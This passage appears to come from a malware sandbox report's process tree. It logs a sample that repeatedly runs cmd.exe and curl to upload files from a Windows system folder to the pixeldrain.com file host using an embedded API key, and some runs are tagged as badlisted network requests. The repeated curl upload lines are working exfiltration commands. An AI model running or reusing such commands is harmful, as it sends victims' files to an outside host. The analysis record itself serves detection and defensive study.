  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars39.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars39.contrast-black_scale-200.png-07-11-2026--13.57.10.png
  2⤵
  PID:4164
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars39.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars39.contrast-black_scale-200.png-07-11-2026--13.57.10.png
    3⤵
    PID:2584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars39.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars39.contrast-white_scale-200.png-07-11-2026--13.57.10.png
  2⤵
  PID:2256
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars39.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars39.contrast-white_scale-200.png-07-11-2026--13.57.10.png
    3⤵
    - Badlisted process makes network request
    PID:624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars39.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars39.scale-200.png-07-11-2026--13.57.11.png
  2⤵
  PID:8
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars39.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars39.scale-200.png-07-11-2026--13.57.11.png
    3⤵
    PID:1264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars40.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars40.contrast-black_scale-200.png-07-11-2026--13.57.11.png
  2⤵
  PID:3036
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars40.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars40.contrast-black_scale-200.png-07-11-2026--13.57.11.png
    3⤵
    PID:5232
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars40.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars40.contrast-white_scale-200.png-07-11-2026--13.57.11.png
  2⤵
  PID:5716
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars40.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars40.contrast-white_scale-200.png-07-11-2026--13.57.11.png
    3⤵
    PID:5544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars40.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars40.scale-200.png-07-11-2026--13.57.11.png
  2⤵
  PID:2452
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars40.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars40.scale-200.png-07-11-2026--13.57.11.png
    3⤵
    PID:1160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars41.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars41.contrast-black_scale-200.png-07-11-2026--13.57.12.png
  2⤵
  PID:3952
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars41.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars41.contrast-black_scale-200.png-07-11-2026--13.57.12.png
    3⤵
    PID:2280
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars41.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars41.contrast-white_scale-200.png-07-11-2026--13.57.12.png
  2⤵
  PID:6116
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3408
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars41.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars41.contrast-white_scale-200.png-07-11-2026--13.57.12.png
    3⤵
    - Badlisted process makes network request
    PID:2400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars41.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars41.scale-200.png-07-11-2026--13.57.12.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3068
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1324
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars41.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars41.scale-200.png-07-11-2026--13.57.12.png
    3⤵
    PID:5184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars42.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars42.contrast-black_scale-200.png-07-11-2026--13.57.12.png
  2⤵
  PID:704
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars42.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars42.contrast-black_scale-200.png-07-11-2026--13.57.12.png
    3⤵
    - Badlisted process makes network request
    PID:1756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars42.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars42.contrast-white_scale-200.png-07-11-2026--13.57.13.png
  2⤵
  PID:4392
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars42.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars42.contrast-white_scale-200.png-07-11-2026--13.57.13.png
    3⤵
    - Badlisted process makes network request
    PID:4220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars42.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars42.scale-200.png-07-11-2026--13.57.13.png
  2⤵
  PID:3136
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars42.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars42.scale-200.png-07-11-2026--13.57.13.png
    3⤵
    PID:2612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars43.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars43.contrast-black_scale-200.png-07-11-2026--13.57.13.png
  2⤵
  PID:1304
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5864
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars43.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars43.contrast-black_scale-200.png-07-11-2026--13.57.13.png
    3⤵
    - Badlisted process makes network request
    PID:3828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars43.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars43.contrast-white_scale-200.png-07-11-2026--13.57.13.png
  2⤵
  PID:716
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars43.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars43.contrast-white_scale-200.png-07-11-2026--13.57.13.png
    3⤵
    PID:2864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars43.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars43.scale-200.png-07-11-2026--13.57.14.png
  2⤵
  PID:1348
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars43.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars43.scale-200.png-07-11-2026--13.57.14.png
    3⤵
    PID:1564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars44.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars44.contrast-black_scale-200.png-07-11-2026--13.57.14.png
  2⤵
  PID:1628
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars44.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars44.contrast-black_scale-200.png-07-11-2026--13.57.14.png
    3⤵
    - Badlisted process makes network request
    PID:812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars44.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars44.contrast-white_scale-200.png-07-11-2026--13.57.14.png
  2⤵
  PID:868
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars44.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars44.contrast-white_scale-200.png-07-11-2026--13.57.14.png
    3⤵
    - Badlisted process makes network request
    PID:3884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars44.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars44.scale-200.png-07-11-2026--13.57.14.png
  2⤵
  PID:3288
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars44.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars44.scale-200.png-07-11-2026--13.57.14.png
    3⤵
    PID:4996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars45.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars45.contrast-black_scale-200.png-07-11-2026--13.57.15.png
  2⤵
  PID:1636
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars45.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars45.contrast-black_scale-200.png-07-11-2026--13.57.15.png
    3⤵
    - Badlisted process makes network request
    PID:4988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars45.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars45.contrast-white_scale-200.png-07-11-2026--13.57.15.png
  2⤵
  PID:3708
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2636
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars45.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars45.contrast-white_scale-200.png-07-11-2026--13.57.15.png
    3⤵
    PID:5492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars45.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars45.scale-200.png-07-11-2026--13.57.15.png
  2⤵
  PID:5028
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars45.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars45.scale-200.png-07-11-2026--13.57.15.png
    3⤵
    - Badlisted process makes network request
    PID:4516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars46.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars46.contrast-black_scale-200.png-07-11-2026--13.57.16.png
  2⤵
  PID:5660
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars46.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars46.contrast-black_scale-200.png-07-11-2026--13.57.16.png
    3⤵
    - Badlisted process makes network request
    PID:4116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars46.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars46.contrast-white_scale-200.png-07-11-2026--13.57.16.png
  2⤵
  PID:4908
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars46.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars46.contrast-white_scale-200.png-07-11-2026--13.57.16.png
    3⤵
    - Badlisted process makes network request
    PID:2820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars46.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars46.scale-200.png-07-11-2026--13.57.16.png
  2⤵
  PID:2400
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars46.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars46.scale-200.png-07-11-2026--13.57.16.png
    3⤵
    - Badlisted process makes network request
    PID:3960
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars47.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars47.contrast-black_scale-200.png-07-11-2026--13.57.16.png
  2⤵
  PID:3980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:996
- - C:\Windows\SysWOW64\curl.exe
